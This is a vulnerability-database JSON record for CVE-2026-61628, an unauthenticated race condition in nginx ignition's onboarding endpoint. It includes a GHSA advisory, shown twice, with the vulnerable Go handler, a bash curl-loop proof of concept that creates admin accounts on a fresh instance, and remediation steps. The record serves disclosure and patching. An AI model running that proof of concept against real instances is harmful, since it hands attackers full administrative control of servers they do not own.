{"id":"CVE-2026-61628","aliases":["EUVD-2026-83947","GHSA-pxcx-fv34-x9p5","GO-2026-6540","UBUNTU-CVE-2026-61628"],"status":"published","title":"nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00434,"percentile":0.37991,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-362"],"published":"2026-09-21T14:44:54Z","modified":"2026-10-28T02:31:01Z","exploits":[{"source":"pocgithub","id":"abraxas/CVE-2026-61628","title":"abraxas/CVE-2026-61628","date":"2026-09-22","url":"https://github.com/abraxas/CVE-2026-61628"}],"fixes":[{"ecosystem":"Go","package":"github.com/lucasdillmann/nginx-ignition","fixed_in":["0.0.0-20260621194639-0586b4e55ab"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lucasdillmann/nginx-ignition","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260621194639-0586b4e55ab"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lucasdillmann/nginx-ignition","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260621194639-0586b4e55ab"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lucasdillmann/nginx-ignition","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"lucasdillmann","product":"nginx-ignition"}],"references":[{"url":"https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-pxcx-fv34-x9p5","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/lucasdillmann/nginx-ignition/commit/0586b4e55ab780676d3553a2592979dfa2fb0183","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61628","tags":["advisory"]},{"url":"https://github.com/lucasdillmann/nginx-ignition/pull/131","tags":["web","fix"]},{"url":"https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.41.1","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pxcx-fv34-x9p5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61628.json","tags":["advisory"]},{"url":"https://github.com/lucasdillmann/nginx-ignition","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-61628","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-61628","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-61628","title":"nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","status":"published","published":"2026-09-21T14:44:54.985Z","modified":"2026-09-21T15:12:59.314Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:19:53.786088Z"}],"euvd":[{"id":"EUVD-2026-83947","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","status":"published","published":"2026-09-21T14:44:54Z","modified":"2026-09-21T15:12:59Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:05.36994Z"}],"ghsa":[{"id":"GHSA-pxcx-fv34-x9p5","title":" nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition","description":"## Summary\n\n`POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.\n\n## Affected component\n\n- Endpoint: `POST /api/users/onboarding/finish`\n- Route registration: `api/user/routes.go:49` → `authorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")`\n- Handler: `api/user/onboarding_finish_handler.go`\n\n## Technical details\n\nThe route is explicitly allowed without authentication:\n\n```go\n// api/user/routes.go:48-49\nauthorizer.AllowAnonymous(http.MethodGet,  \"/api/users/onboarding/status\")\nauthorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")\n```\n\nThe handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:\n\n```go\n// api/user/onboarding_finish_handler.go\nfunc (h onboardingFinishHandler) handle(ctx *gin.Context) {\n    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK\n    if err != nil { panic(err) }\n    if alreadyFinished {\n        ctx.Status(http.StatusForbidden)\n        return\n    }\n\n    requestPayload := \u0026userRequestDTO{}\n    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }\n\n    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)\n    domainModel.ID = uuid.New()\n    domainModel.Enabled = true\n    domainModel.Permissions = user.Permissions{        // full admin\n        Hosts:        user.ReadWriteAccessLevel,\n        Streams:      user.ReadWriteAccessLevel,\n        Certificates: user.ReadWriteAccessLevel,\n        Integrations: user.ReadWriteAccessLevel,\n        AccessLists:  user.ReadWriteAccessLevel,\n        Settings:     user.ReadWriteAccessLevel,\n        Users:        user.ReadWriteAccessLevel,\n        NginxServer:  user.ReadWriteAccessLevel,\n        Caches:       user.ReadWriteAccessLevel,\n        // ...all remaining permissions ReadWrite/ReadOnly\n    }\n\n    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT\n        panic(err)\n    }\n    // ...authenticates and returns a JWT for the new admin\n}\n```\n\nThe gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.\n\n## Preconditions (stated honestly)\n\nThis is exploitable when the instance is in a **pre-onboarding state**:\n\n1. **Fresh deployment** — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.\n2. **State reset** — if onboarding state can return to \"not completed\" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.\n\nThe single-request path is a setup-window exposure; the **race** is what turns \"first legitimate admin\" into \"attacker also gets admin,\" and what allows multiple admin accounts to be minted from one burst.\n\n## Proof of concept\n\nAgainst an instance that has not yet completed onboarding:\n\n```bash\n# Fire concurrent onboarding-finish requests; multiple admin accounts are created,\n# each returning a valid admin JWT, despite the single-admin intent.\nfor i in $(seq 1 20); do\n  curl -s -X POST http://TARGET/api/users/onboarding/finish \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker'\"$i\"'\",\"password\":\"P@ssw0rd123!\"}' \\\n    -o /dev/null -w \"%{http_code}\\n\" \u0026\ndone\nwait\n# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.\n```\n\nEach `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.\n\n## Impact\n\n- **Unauthenticated administrative account takeover** of a fresh (or reset) instance.\n- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)\n- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.\n\n## Remediation\n\n1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. \"at most one onboarding user\" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.\n2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict.\n3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.\n\n---\n*Finding ID: GM-4607*","status":"published","published":"2026-09-21T21:54:42Z","modified":"2026-09-21T21:54:43Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:41:19.455935Z"}],"nvd":[{"id":"CVE-2026-61628","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","status":"published","published":"2026-09-21T15:17:30.29Z","modified":"2026-09-23T18:25:00.707Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-61628","title":"nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","status":"published","published":"2026-09-21T14:44:54.985Z","modified":"2026-10-28T02:31:01.893362363Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"GHSA-pxcx-fv34-x9p5","title":" nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition","description":"## Summary\n\n`POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.\n\n## Affected component\n\n- Endpoint: `POST /api/users/onboarding/finish`\n- Route registration: `api/user/routes.go:49` → `authorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")`\n- Handler: `api/user/onboarding_finish_handler.go`\n\n## Technical details\n\nThe route is explicitly allowed without authentication:\n\n```go\n// api/user/routes.go:48-49\nauthorizer.AllowAnonymous(http.MethodGet,  \"/api/users/onboarding/status\")\nauthorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")\n```\n\nThe handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:\n\n```go\n// api/user/onboarding_finish_handler.go\nfunc (h onboardingFinishHandler) handle(ctx *gin.Context) {\n    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK\n    if err != nil { panic(err) }\n    if alreadyFinished {\n        ctx.Status(http.StatusForbidden)\n        return\n    }\n\n    requestPayload := \u0026userRequestDTO{}\n    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }\n\n    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)\n    domainModel.ID = uuid.New()\n    domainModel.Enabled = true\n    domainModel.Permissions = user.Permissions{        // full admin\n        Hosts:        user.ReadWriteAccessLevel,\n        Streams:      user.ReadWriteAccessLevel,\n        Certificates: user.ReadWriteAccessLevel,\n        Integrations: user.ReadWriteAccessLevel,\n        AccessLists:  user.ReadWriteAccessLevel,\n        Settings:     user.ReadWriteAccessLevel,\n        Users:        user.ReadWriteAccessLevel,\n        NginxServer:  user.ReadWriteAccessLevel,\n        Caches:       user.ReadWriteAccessLevel,\n        // ...all remaining permissions ReadWrite/ReadOnly\n    }\n\n    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT\n        panic(err)\n    }\n    // ...authenticates and returns a JWT for the new admin\n}\n```\n\nThe gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.\n\n## Preconditions (stated honestly)\n\nThis is exploitable when the instance is in a **pre-onboarding state**:\n\n1. **Fresh deployment** — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.\n2. **State reset** — if onboarding state can return to \"not completed\" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.\n\nThe single-request path is a setup-window exposure; the **race** is what turns \"first legitimate admin\" into \"attacker also gets admin,\" and what allows multiple admin accounts to be minted from one burst.\n\n## Proof of concept\n\nAgainst an instance that has not yet completed onboarding:\n\n```bash\n# Fire concurrent onboarding-finish requests; multiple admin accounts are created,\n# each returning a valid admin JWT, despite the single-admin intent.\nfor i in $(seq 1 20); do\n  curl -s -X POST http://TARGET/api/users/onboarding/finish \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker'\"$i\"'\",\"password\":\"P@ssw0rd123!\"}' \\\n    -o /dev/null -w \"%{http_code}\\n\" \u0026\ndone\nwait\n# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.\n```\n\nEach `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.\n\n## Impact\n\n- **Unauthenticated administrative account takeover** of a fresh (or reset) instance.\n- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)\n- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.\n\n## Remediation\n\n1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. \"at most one onboarding user\" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.\n2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict.\n3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.\n\n---\n*Finding ID: GM-4607*","status":"published","published":"2026-09-21T21:54:42Z","modified":"2026-09-28T17:10:54.678370071Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-362"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"UBUNTU-CVE-2026-61628","description":"nginx ignition is a user interface for the nginx web server. Prior to version 2.41.1, `POST /api/users/onboarding/finish` is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race. Version 2.41.1 patches the issue.","status":"withdrawn","published":"2026-09-22T00:00:00Z","modified":"2026-09-23T18:46:23.657532811Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:43.630667Z"},{"id":"GO-2026-6540","title":"nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition in github.com/lucasdillmann/nginx-ignition","description":"nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition in github.com/lucasdillmann/nginx-ignition.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/lucasdillmann/nginx-ignition before v0.0.0-20260621194639-0586b4e55ab.","status":"published","published":"2026-09-28T16:43:40Z","modified":"2026-09-28T17:00:26.227151167Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}
